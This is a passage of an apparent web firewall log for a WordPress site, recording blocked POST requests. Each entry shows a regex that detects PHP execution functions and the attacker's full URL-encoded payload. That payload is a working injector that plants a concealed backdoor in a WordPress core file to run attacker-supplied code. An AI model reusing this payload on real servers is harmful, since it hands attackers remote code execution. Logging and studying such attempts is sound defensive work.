253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524resource%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:39:38","217.217.254.45","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-blocks-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx66lag%2522%255D%2529%2529%257B%2520%2524factor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx66lag%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2527.%2527%252C%2524entry%2520%2529%2520%253B%2520%2524resource%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524entry%253B%2520while%2520%2528%2524v6%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524r%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524r%2525%252010%2529%2529%2520%255E%252038%253B%2520%2524resource%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520while%2520%2528%2524flg%2520%253D%2520array_shift%2528%2524factor%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524flg%2529%2520%252A%2520is_writable%2528%2524flg%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524resource%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\ncontent-length:4604\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJyNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept:*\/*\n\nZP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-blocks-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx66lag%2522%255D%2529%2529%257B%2520%2524factor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx66lag%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2527.%2527%252C%2524entry%2520%2529%2520%253B%2520%2524resource%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524entry%253B%2520while%2520%2528%2524v6%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524r%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524r%2525%252010%2529%2529%2520%255E%252038%253B%2520%2524resource%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520while%2520%2528%2524flg%2520%253D%2520array_shift%2528%2524factor%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524flg%2529%2520%252A%2520is_writable%2528%2524flg%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524resource%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:39:59","46.62.254.35","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-blocks-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx66lag%2522%255D%2529%2529%257B%2520%2524factor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx66lag%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2527.%2527%252C%2524entry%2520%2529%2520%253B%2520%2524resource%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524entry%253B%2520while%2520%2528%2524v6%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524r%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524r%2525%252010%2529%2529%2520%255E%252038%253B%2520%2524resource%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520while%2520%2528%2524flg%2520%253D%2520array_shift%2528%2524factor%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524flg%2529%2520%252A%2520is_writable%2528%2524flg%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524resource%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJSbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4604\naccept:*\/*\n\nXZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-blocks-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx66lag%2522%255D%2529%2529%257B%2520%2524factor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx66lag%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2527.%2527%252C%2524entry%2520%2529%2520%253B%2520%2524resource%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524entry%253B%2520while%2520%2528%2524v6%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524r%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524r%2525%252010%2529%2529%2520%255E%252038%253B%2520%2524resource%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520while%2520%2528%2524flg%2520%253D%2520array_shift%2528%2524factor%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524flg%2529%2520%252A%2520is_writable%2528%2524flg%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524resource%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:40:47","66.116.235.214","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> by:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-blocks-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx66lag%2522%255D%2529%2529%257B%2520%2524factor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx66lag%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2527.%2527%252C%2524entry%2520%2529%2520%253B%2520%2524resource%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524entry%253B%2520while%2520%2528%2524v6%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524r%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524r%2525%252010%2529%2529%2520%255E%252038%253B%2520%2524resource%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520while%2520%2528%2524flg%2520%253D%2520array_shift%2528%2524factor%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524flg%2529%2520%252A%2520is_writable%2528%2524flg%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524resource%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLaxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-length:4604\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\n\nby=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-blocks-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx66lag%2522%255D%2529%2529%257B%2520%2524factor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx66lag%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2527.%2527%252C%2524entry%2520%2529%2520%253B%2520%2524resource%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524entry%253B%2520while%2520%2528%2524v6%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524r%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524r%2525%252010%2529%2529%2520%255E%252038%253B%2520%2524resource%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520while%2520%2528%2524flg%2520%253D%2520array_shift%2528%2524factor%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524flg%2529%2520%252A%2520is_writable%2528%2524flg%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524resource%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3